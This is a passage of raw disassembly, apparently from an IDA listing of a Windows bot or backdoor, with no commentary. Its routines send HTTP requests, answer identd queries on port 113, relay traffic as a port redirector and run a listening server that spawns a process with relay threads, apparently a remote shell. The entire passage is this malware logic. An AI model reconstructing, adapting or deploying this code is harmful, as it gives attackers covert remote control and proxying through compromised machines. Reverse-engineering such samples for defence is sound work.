mov [ebp+var_10], 2
push [ebp+arg_14]
call dword_4CB9E4 ; htons
push [ebp+arg_10]
mov [ebp+var_E], ax
call sub_40A8F0
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_4CB98C ; connect
cmp eax, 0FFFFFFFFh
jz short loc_410BB9
mov eax, [ebp+arg_20]
cmp eax, edi
jnz short loc_410B55
mov eax, offset byte_43DB98
loc_410B55: ; CODE XREF: sub_410ADC+72j
push esi
mov esi, 100h
push [ebp+arg_10]
push eax
lea eax, [ebp+var_110]
push [ebp+arg_1C]
push [ebp+arg_18]
push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
push esi
push eax
call sub_41C360
add esp, 1Ch
lea eax, [ebp+var_110]
push edi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_110]
push eax
push ebx
call dword_4CBA34 ; send
push esi
lea eax, [ebp+var_110]
push edi
push eax
call sub_41CD20
add esp, 0Ch
lea eax, [ebp+var_110]
push edi
push esi
push eax
push ebx
call dword_4CB9FC ; recv
pop esi
loc_410BB9: ; CODE XREF: sub_410ADC+6Bj
push ebx
call dword_4CBA7C ; closesocket
call dword_4CB93C ; WSACleanup
lea eax, [ebp+var_110]
push eax
lea eax, [ebp+var_310]
push eax
call sub_41C266
cmp [ebp+arg_C], edi
pop ecx
pop ecx
jnz short loc_410BF9
push edi
lea eax, [ebp+var_310]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_410BF9: ; CODE XREF: sub_410ADC+102j
pop edi
pop ebx
leave
retn
sub_410ADC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410BFD proc near ; DATA XREF: sub_401221+445o
; sub_401ACD+438Bo
var_238 = byte ptr -238h
var_38 = byte ptr -38h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 238h
push ebx
push esi
push edi
push 10h
pop edi
xor esi, esi
push edi
lea eax, [ebp+var_1C]
push esi
push eax
mov [ebp+var_8], esi
call sub_41BF70
add esp, 0Ch
mov [ebp+var_1C], 2
push 71h
call dword_4CB9E4 ; htons
push esi
push 1
push 2
mov [ebp+var_1A], ax
mov [ebp+var_18], esi
call dword_4CBA64 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_410D61
mov eax, [ebp+arg_0]
push edi
imul eax, 234h
mov dword_43E92C[eax], ebx
lea eax, [ebp+var_1C]
push eax
push ebx
call dword_4CBA10 ; bind
cmp eax, 0FFFFFFFFh
jz loc_410D61
push 5
push ebx
call dword_4CBA0C ; listen
cmp eax, 0FFFFFFFFh
jz loc_410D61
mov [ebp+var_C], edi
mov edi, 200h
loc_410C88: ; CODE XREF: sub_410BFD+EAj
; sub_410BFD+14Dj ...
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_2C]
push eax
push ebx
call dword_4CBA78 ; accept
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_410D5C
movzx eax, [ebp+var_2A]
push eax
push [ebp+var_28]
call dword_4CBA70 ; inet_ntoa
push eax
lea eax, [ebp+var_238]
push offset dword_43516C
push eax
call sub_41C266
lea eax, [ebp+var_238]
push eax
call sub_415D38
add esp, 14h
lea eax, [ebp+var_238]
push esi
push edi
push eax
push [ebp+var_4]
call dword_4CB9FC ; recv
cmp eax, 0FFFFFFFFh
jz short loc_410C88
lea eax, [ebp+var_238]
push esi
push eax
call sub_4184CC
push 0Ch
lea eax, [ebp+var_38]
push esi
push eax
call sub_41BF70
push esi
push esi
lea eax, [ebp+var_38]
push 2
push eax
call sub_40AE84
add esp, 24h
push eax
push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n"
lea eax, [ebp+var_238]
push edi
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_238]
push esi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_238]
push eax
push [ebp+var_4]
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jz loc_410C88
mov [ebp+var_8], 1
jmp loc_410C88
; ---------------------------------------------------------------------------
loc_410D5C: ; CODE XREF: sub_410BFD+A0j
cmp [ebp+var_8], esi
jnz short loc_410D88
loc_410D61: ; CODE XREF: sub_410BFD+47j
; sub_410BFD+6Bj ...
call dword_4CB978 ; WSAGetLastError
push eax
lea eax, [ebp+var_238]
push offset dword_435128
push eax
call sub_41C266
lea eax, [ebp+var_238]
push eax
call sub_415D38
add esp, 10h
loc_410D88: ; CODE XREF: sub_410BFD+162j
push ebx
call dword_4CBA7C ; closesocket
push [ebp+var_4]
call dword_4CBA7C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_410BFD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410DAB proc near ; DATA XREF: sub_401ACD+605Do
var_350 = byte ptr -350h
var_150 = byte ptr -150h
var_14C = dword ptr -14Ch
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_30 = dword ptr -30h
var_28 = byte ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = byte ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 350h
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_150]
push 10h
rep movsd
pop edi
mov dword ptr [eax+120h], 1
xor esi, esi
push edi
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+var_44]
call dword_4CB9E4 ; htons
push 6
push 1
push 2
mov [ebp+var_12], ax
mov [ebp+var_10], esi
mov [ebp+var_4], edi
call dword_4CBA64 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_410F17
mov ecx, [ebp+var_40]
push 1
imul ecx, 234h
push 401h
push esi
push eax
mov dword_43E92C[ecx], eax
call dword_4CB8F4 ; WSAAsyncSelect
lea eax, [ebp+var_14]
push edi
push eax
push [ebp+arg_0]
call dword_4CBA10 ; bind
test eax, eax
jnz loc_410F17
push 0Ah
push [ebp+arg_0]
call dword_4CBA0C ; listen
test eax, eax
jnz loc_410F17
loc_410E5B: ; CODE XREF: sub_410DAB+C6j
; sub_410DAB+147j
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_28]
push eax
push [ebp+arg_0]
call dword_4CBA78 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_410E5B
movzx eax, [ebp+var_26]
push [ebp+var_40]
mov [ebp+var_14C], edi
mov [ebp+var_30], esi
push eax
push [ebp+var_24]
call dword_4CBA70 ; inet_ntoa
push eax
lea eax, [ebp+var_350]
push offset unk_4351D4
push eax
call sub_41C266
push edi
lea eax, [ebp+var_350]
push 18h
push eax
call sub_40B3BA
mov [ebp+var_3C], eax
imul eax, 234h
mov ecx, [ebp+var_40]
add esp, 20h
mov dword_43E924[eax], ecx
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_150]
push esi
push eax
push offset sub_410F3C
push esi
push esi
call dword_427084 ; CreateThread
mov ecx, [ebp+var_3C]
imul ecx, 234h
cmp eax, esi
mov dword_43E934[ecx], eax
jz short loc_410F02
loc_410EEF: ; CODE XREF: sub_410DAB+155j
cmp [ebp+var_30], esi
jnz loc_410E5B
push 32h
call dword_427080 ; Sleep
jmp short loc_410EEF
; ---------------------------------------------------------------------------
loc_410F02: ; CODE XREF: sub_410DAB+142j
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_435198
call sub_415DAC
pop ecx
pop ecx
jmp short loc_410F1A
; ---------------------------------------------------------------------------
loc_410F17: ; CODE XREF: sub_410DAB+63j
; sub_410DAB+97j ...
mov edi, [ebp+arg_0]
loc_410F1A: ; CODE XREF: sub_410DAB+16Aj
push edi
call dword_4CBA7C ; closesocket
push [ebp+arg_0]
call dword_4CBA7C ; closesocket
push [ebp+var_40]
call sub_40B6D6
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_410DAB endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_410F3C proc near ; DATA XREF: sub_410DAB+124o
var_1344 = byte ptr -1344h
var_344 = byte ptr -344h
var_144 = byte ptr -144h
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1344h
call sub_41C500
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
mov ebx, [ebp+var_30]
push 1
pop ecx
mov [ebp+var_4], ebx
push 6
push ecx
push 2
mov [eax+120h], ecx
call dword_4CBA64 ; socket
mov esi, eax
xor edi, edi
cmp esi, 0FFFFFFFFh
mov [ebp+arg_0], esi
jz loc_4110F2
push 10h
lea eax, [ebp+var_18]
push edi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_18], 2
push [ebp+var_3C]
call dword_4CB9E4 ; htons
mov [ebp+var_16], ax
lea eax, [ebp+var_13C]
push eax
call dword_4CBA24 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz short loc_410FCC
lea eax, [ebp+var_13C]
push eax
call dword_4CBA68 ; gethostbyname
jmp short loc_410FDA
; ---------------------------------------------------------------------------
loc_410FCC: ; CODE XREF: sub_410F3C+7Fj
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4CB99C ; gethostbyaddr
loc_410FDA: ; CODE XREF: sub_410F3C+8Ej
cmp eax, edi
jz loc_4110F2
mov eax, [eax+0Ch]
push 10h
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_14], eax
lea eax, [ebp+var_18]
push eax
push esi
call dword_4CB98C ; connect
cmp eax, 0FFFFFFFFh
jz loc_4110F2
movzx eax, [ebp+var_16]
push [ebp+var_34]
mov [ebp+var_20], edi
push eax
push [ebp+var_14]
call dword_4CBA70 ; inet_ntoa
push eax
lea eax, [ebp+var_344]
push offset unk_43525C
push eax
call sub_41C266
push esi
lea eax, [ebp+var_344]
push 18h
push eax
call sub_40B3BA
imul ebx, 234h
mov [ebp+var_30], eax
imul eax, 234h
mov ecx, [ebp+var_34]
lea esi, dword_43E92C[ebx]
mov dword_43E924[eax], ecx
add esp, 20h
mov ecx, [esi]
mov dword_43E930[eax], ecx
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_144]
push edi
push eax
push offset sub_411123
push edi
push edi
call dword_427084 ; CreateThread
mov ecx, [ebp+var_30]
imul ecx, 234h
cmp eax, edi
mov dword_43E934[ecx], eax
jz short loc_4110DF
loc_41108C: ; CODE XREF: sub_410F3C+15Dj
cmp [ebp+var_20], edi
jnz short loc_41109B
push 32h
call dword_427080 ; Sleep
jmp short loc_41108C
; ---------------------------------------------------------------------------
loc_41109B: ; CODE XREF: sub_410F3C+153j
mov ebx, 1000h
loc_4110A0: ; CODE XREF: sub_410F3C+19Fj
push ebx
lea eax, [ebp+var_1344]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1344]
push edi
push ebx
push eax
push dword ptr [esi]
call dword_4CB9FC ; recv
cmp eax, edi
jle short loc_4110F2
push edi
push eax
lea eax, [ebp+var_1344]
push eax
push [ebp+arg_0]
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_4110A0
jmp short loc_4110F2
; ---------------------------------------------------------------------------
loc_4110DF: ; CODE XREF: sub_410F3C+14Ej
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_43521C
call sub_415DAC
pop ecx
pop ecx
loc_4110F2: ; CODE XREF: sub_410F3C+44j
; sub_410F3C+A0j ...
mov eax, [ebp+var_4]
imul eax, 234h
push dword_43E92C[eax]
call dword_4CBA7C ; closesocket
push [ebp+arg_0]
call dword_4CBA7C ; closesocket
push [ebp+var_4]
call sub_40B6D6
pop ecx
push edi
call dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_410F3C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411123 proc near ; DATA XREF: sub_410F3C+130o
var_1128 = byte ptr -1128h
var_128 = byte ptr -128h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1128h
call sub_41C500
mov eax, [ebp+arg_0]
push esi
push edi
push 4Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_128]
rep movsd
mov esi, [ebp+var_14]
mov dword ptr [eax+124h], 1
imul esi, 234h
mov edi, 1000h
loc_41115A: ; CODE XREF: sub_411123+7Cj
push edi
lea eax, [ebp+var_1128]
push 0
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1128]
push 0
push edi
push eax
push dword_43E930[esi]
call dword_4CB9FC ; recv
test eax, eax
jle short loc_4111A1
push 0
push eax
lea eax, [ebp+var_1128]
push eax
push dword_43E92C[esi]
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_41115A
loc_4111A1: ; CODE XREF: sub_411123+61j
push dword_43E930[esi]
call dword_4CBA7C ; closesocket
push [ebp+var_14]
call sub_40B6D6
pop ecx
push 0
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_411123 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4111C0 proc near ; DATA XREF: sub_41144E+1BEo
var_3D4 = byte ptr -3D4h
var_350 = byte ptr -350h
var_208 = dword ptr -208h
var_1F4 = dword ptr -1F4h
var_1F0 = dword ptr -1F0h
var_F0 = byte ptr -0F0h
var_B0 = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = byte ptr -3Ch
var_2C = byte ptr -2Ch
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 78h
mov esi, eax
pop ecx
lea edi, [ebp+var_3D4]
push 1
mov [ebp+var_C], 1Eh
pop ebx
rep movsd
mov [eax+1DCh], ebx
mov eax, [ebp+var_208]
mov [ebp+arg_0], eax
imul eax, 234h
lea esi, dword_43E92C[eax]
xor edi, edi
mov [ebp+var_8], edi
mov [ebp+var_1F4], ebx
mov eax, [esi]
mov [ebp+var_1F0], eax
lea eax, [ebp+var_C]
push eax
push edi
lea eax, [ebp+var_1F4]
push edi
push eax
push edi
call dword_4CB9CC ; select
test eax, eax
jnz short loc_411244
push dword ptr [esi]
call dword_4CBA7C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push edi
call dword_4270D4 ; ExitThread
loc_411244: ; CODE XREF: sub_4111C0+6Aj
push edi
lea eax, [ebp+var_3C]
push ebx
push eax
push dword ptr [esi]
call dword_4CB9FC ; recv
lea eax, [ebp+var_2C]
push 10h
push eax
push dword ptr [esi]
call sub_4113C5
lea eax, [ebp+var_4C]
push 10h
push eax
push dword ptr [esi]
call sub_4113C5
lea eax, [ebp+var_F0]
push 40h
push eax
push dword ptr [esi]
call sub_4113C5
add esp, 24h
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_1C]
push eax
push dword ptr [esi]
call dword_4CB938 ; getpeername
test eax, eax
jz short loc_4112BD
call dword_4CB978 ; WSAGetLastError
push eax
push offset unk_435334
call sub_415DAC
push [ebp+arg_0]
call sub_40B6D6
add esp, 0Ch
push edi
call dword_4270D4 ; ExitThread
loc_4112BD: ; CODE XREF: sub_4111C0+D8j
push 2
lea eax, [ebp+var_18]
push 4
push eax
call dword_4CB99C ; gethostbyaddr
cmp eax, edi
jnz short loc_4112E7
push [ebp+var_18]
call dword_4CBA70 ; inet_ntoa
push eax
lea eax, [ebp+var_B0]
push eax
call sub_41C266
jmp short loc_4112F5
; ---------------------------------------------------------------------------
loc_4112E7: ; CODE XREF: sub_4111C0+10Dj
push dword ptr [eax]
lea eax, [ebp+var_B0]
push eax
call sub_41C890
loc_4112F5: ; CODE XREF: sub_4111C0+125j
pop ecx
pop ecx
push edi
push ebx
push offset byte_43DB98
push dword ptr [esi]
call dword_4CBA34 ; send
cmp dword_4CE73C, edi
jnz short loc_411357
push [ebp+var_18]
lea eax, [ebp+var_350]
push eax
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41141F
add esp, 10h
test eax, eax
jnz short loc_411357
push edi
push 13h
push offset aPermissionDeni ; "Permission denied\n"
push dword ptr [esi]
call dword_4CBA34 ; send
push dword ptr [esi]
call dword_4CBA7C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push edi
call dword_4270D4 ; ExitThread
loc_411357: ; CODE XREF: sub_4111C0+14Cj
; sub_4111C0+16Dj
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
push offset unk_4352F8
call sub_415DAC
push [ebp+arg_0]
call sub_4116D6
add esp, 10h
test eax, eax
jnz short loc_41139E
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_4352CC
call sub_415DAC
push [ebp+arg_0]
call sub_40B6D6
add esp, 0Ch
push ebx
call dword_4270D4 ; ExitThread
loc_41139E: ; CODE XREF: sub_4111C0+1B9j
lea eax, [ebp+var_B0]
push eax
lea eax, [ebp+var_2C]
push eax
push offset unk_4352A0
call sub_415DAC
push [ebp+arg_0]
call sub_40B6D6
add esp, 10h
push edi
call dword_4270D4 ; ExitThread
sub_4111C0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4113C5 proc near ; CODE XREF: sub_4111C0+9Ap
; sub_4111C0+A7p ...
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push esi
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB9FC ; recv
cmp eax, 1
jnz short loc_411415
mov esi, [ebp+arg_4]
loc_4113E3: ; CODE XREF: sub_4113C5+41j
mov al, [ebp+var_1]
mov [esi], al
inc esi
dec [ebp+arg_8]
jz short loc_41140A
test al, al
jz short loc_411419
push 0
lea eax, [ebp+var_1]
push 1
push eax
push [ebp+arg_0]
call dword_4CB9FC ; recv
cmp eax, 1
jz short loc_4113E3
jmp short loc_411415
; ---------------------------------------------------------------------------
loc_41140A: ; CODE XREF: sub_4113C5+27j
push offset unk_435360
call sub_415DAC
pop ecx
loc_411415: ; CODE XREF: sub_4113C5+19j
; sub_4113C5+43j
xor eax, eax
jmp short loc_41141C
; ---------------------------------------------------------------------------
loc_411419: ; CODE XREF: sub_4113C5+2Bj
push 1
pop eax
loc_41141C: ; CODE XREF: sub_4113C5+52j
pop esi
leave
retn
sub_4113C5 endp
; =============== S U B R O U T I N E =======================================
sub_41141F proc near ; CODE XREF: sub_4111C0+163p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_0]
push [esp+4+arg_8]
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_41144A
push [esp+arg_4]
push [esp+4+arg_0]
push offset unk_43538C
call sub_415DAC
add esp, 0Ch
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41144A: ; CODE XREF: sub_41141F+11j
push 1
pop eax
retn
sub_41141F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41144E proc near ; DATA XREF: sub_401ACD+237Ao
var_5DC = dword ptr -5DCh
var_5A4 = byte ptr -5A4h
var_414 = byte ptr -414h
var_214 = dword ptr -214h
var_210 = byte ptr -210h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5A4h
mov eax, [ebp+arg_0]
push esi
push edi
push 78h
pop ecx
mov esi, eax
lea edi, [ebp+var_214]
push 1
rep movsd
pop edi
mov [eax+1DCh], edi
lea eax, [ebp+var_5A4]
push eax
push 202h
call dword_4CB954 ; WSAStartup
xor esi, esi
cmp eax, esi
jz short loc_4114A7
push eax
push offset unk_4354FC
call sub_415DAC
push [ebp+var_4C]
call sub_40B6D6
add esp, 0Ch
push edi
call dword_4270D4 ; ExitThread
loc_4114A7: ; CODE XREF: sub_41144E+3Aj
push edi
push offset loc_4116CC
call dword_42712C ; SetConsoleCtrlHandler
test eax, eax
jnz short loc_4114E0
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_4354B8
call sub_415DAC
pop ecx
pop ecx
call dword_4CB93C ; WSACleanup
push [ebp+var_4C]
call sub_40B6D6
pop ecx
push edi
call dword_4270D4 ; ExitThread
loc_4114E0: ; CODE XREF: sub_41144E+67j
push ebx
push 10h
lea eax, [ebp+var_20]
push esi
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_20], 2
push [ebp+var_50]
call dword_4CB9E4 ; htons
push 6
push edi
push 2
mov [ebp+var_1E], ax
mov [ebp+var_1C], esi
call dword_4CBA64 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_411657
mov eax, [ebp+var_4C]
push 10h
imul eax, 234h
mov dword_43E92C[eax], ebx
lea eax, [ebp+var_20]
push eax
push ebx
call dword_4CBA10 ; bind
test eax, eax
jnz loc_411657
push 7FFFFFFFh
push ebx
call dword_4CBA0C ; listen
test eax, eax
jnz loc_411657
push offset unk_43547C
mov [ebp+var_10], 0Ch
mov [ebp+var_C], esi
mov [ebp+var_8], esi
call sub_415D38
pop ecx
mov [ebp+arg_0], edi
loc_41156F: ; CODE XREF: sub_41144E+15Aj
; sub_41144E+1E4j
lea eax, [ebp+var_4]
mov [ebp+var_4], 10h
push eax
lea eax, [ebp+var_34]
push eax
push ebx
call dword_4CBA78 ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_41165A
push [ebp+arg_0]
lea eax, [ebp+arg_0]
push eax
push 8
push 0FFFFh
push edi
call dword_4CB9C4 ; setsockopt
cmp eax, 0FFFFFFFFh
jz short loc_41156F
movzx eax, [ebp+var_32]
push [ebp+var_4C]
mov [ebp+var_38], esi
push eax
push [ebp+var_30]
call dword_4CBA70 ; inet_ntoa
push eax
lea eax, [ebp+var_414]
push offset unk_435438
push eax
call sub_41C266
lea eax, [ebp+var_414]
push eax
call sub_415D38
push edi
lea eax, [ebp+var_414]
push 9
push eax
call sub_40B3BA
mov [ebp+var_48], eax
imul eax, 234h
mov ecx, [ebp+var_4C]
add esp, 24h
mov dword_43E924[eax], ecx
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_214]
push esi
push eax
push offset sub_4111C0
lea eax, [ebp+var_10]
push esi
push eax
call dword_427084 ; CreateThread
mov ecx, [ebp+var_48]
imul ecx, 234h
cmp eax, esi
mov dword_43E934[ecx], eax
jz short loc_411642
loc_41162F: ; CODE XREF: sub_41144E+1F2j
cmp [ebp+var_38], esi
jnz loc_41156F
push 32h
call dword_427080 ; Sleep
jmp short loc_41162F
; ---------------------------------------------------------------------------
loc_411642: ; CODE XREF: sub_41144E+1DFj
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_4353FC
call sub_415DAC
pop ecx
pop ecx
jmp short loc_41165A
; ---------------------------------------------------------------------------
loc_411657: ; CODE XREF: sub_41144E+C8j
; sub_41144E+ECj ...
mov edi, [ebp+arg_0]
loc_41165A: ; CODE XREF: sub_41144E+13Cj
; sub_41144E+207j
call dword_4CB978 ; WSAGetLastError
push eax
lea eax, [ebp+var_414]
push offset unk_4353C4
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_3C], esi
jnz short loc_41169A
push esi
lea eax, [ebp+var_414]
push [ebp+var_40]
push eax
lea eax, [ebp+var_210]
push eax
push [ebp+var_214]
call sub_409869
add esp, 14h
loc_41169A: ; CODE XREF: sub_41144E+22Aj
lea eax, [ebp+var_414]
push eax
call sub_415D38
pop ecx
push edi
call dword_4CBA7C ; closesocket
push ebx
call dword_4CBA7C ; closesocket
call dword_4CB93C ; WSACleanup
push [ebp+var_4C]
call sub_40B6D6
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop ebx
loc_4116CC: ; DATA XREF: sub_41144E+5Ao
xor eax, eax
cmp [esp+5E0h+var_5DC], eax
setz al
retn
sub_41144E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4116D6 proc near ; CODE XREF: sub_4111C0+1AFp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_411827
imul edi, 234h
mov esi, eax
xor ebx, ebx
mov eax, dword_43E92C[edi]
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
mov edi, dword_427084
pop ecx
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_4119F9
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_411741
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_43555C
call sub_415DAC
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
jmp short loc_41177B
; ---------------------------------------------------------------------------
loc_411741: ; CODE XREF: sub_4116D6+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_411AAB
lea eax, [ebp+var_C]
push ebx
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_411782
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_43555C
call sub_415DAC
pop ecx
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
push ebx
push dword ptr [esi+14h]
call dword_4270B4 ; TerminateThread
loc_41177B: ; CODE XREF: sub_4116D6+69j
xor eax, eax
jmp loc_411822
; ---------------------------------------------------------------------------
loc_411782: ; CODE XREF: sub_4116D6+82j
mov eax, [esi+10h]
push 0FFFFFFFFh
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
mov [ebp+var_10], eax
lea eax, [ebp+var_18]
push ebx
push eax
push 3
call dword_427130 ; WaitForMultipleObjects
sub eax, ebx
jz short loc_4117DC
dec eax
jz short loc_4117D6
dec eax
jz short loc_4117C2
call dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_435528
call sub_415DAC
pop ecx
pop ecx
jmp short loc_4117F1
; ---------------------------------------------------------------------------
loc_4117C2: ; CODE XREF: sub_4116D6+D5j
mov edi, dword_4270B4
push ebx
push dword ptr [esi+14h]
call edi ; TerminateThread
push ebx
push dword ptr [esi+10h]
call edi ; TerminateThread
jmp short loc_4117F1
; ---------------------------------------------------------------------------
loc_4117D6: ; CODE XREF: sub_4116D6+D2j
push ebx
push dword ptr [esi+10h]
jmp short loc_4117E0
; ---------------------------------------------------------------------------
loc_4117DC: ; CODE XREF: sub_4116D6+CFj
push ebx
push dword ptr [esi+14h]
loc_4117E0: ; CODE XREF: sub_4116D6+104j
call dword_4270B4 ; TerminateThread
push 1
push dword ptr [esi+8]
call dword_4270FC ; TerminateProcess
loc_4117F1: ; CODE XREF: sub_4116D6+EAj
; sub_4116D6+FEj
push dword ptr [esi+10h]
mov edi, dword_427070
call edi ; CloseHandle
push dword ptr [esi+14h]
call edi ; CloseHandle
push dword ptr [esi+8]
call edi ; CloseHandle
push dword ptr [esi]
call edi ; CloseHandle
push dword ptr [esi+4]
call edi ; CloseHandle
push dword ptr [esi+0Ch]
call dword_4CBA7C ; closesocket
push esi
call sub_41BA91
pop ecx
push 1
pop eax
loc_411822: ; CODE XREF: sub_4116D6+A7j
pop edi
pop esi
pop ebx
leave
retn
sub_4116D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411827 proc near ; CODE XREF: sub_4116D6+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
xor edi, edi
push 18h
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call sub_41BEB5
mov esi, eax
pop ecx
cmp esi, edi
jz loc_411911
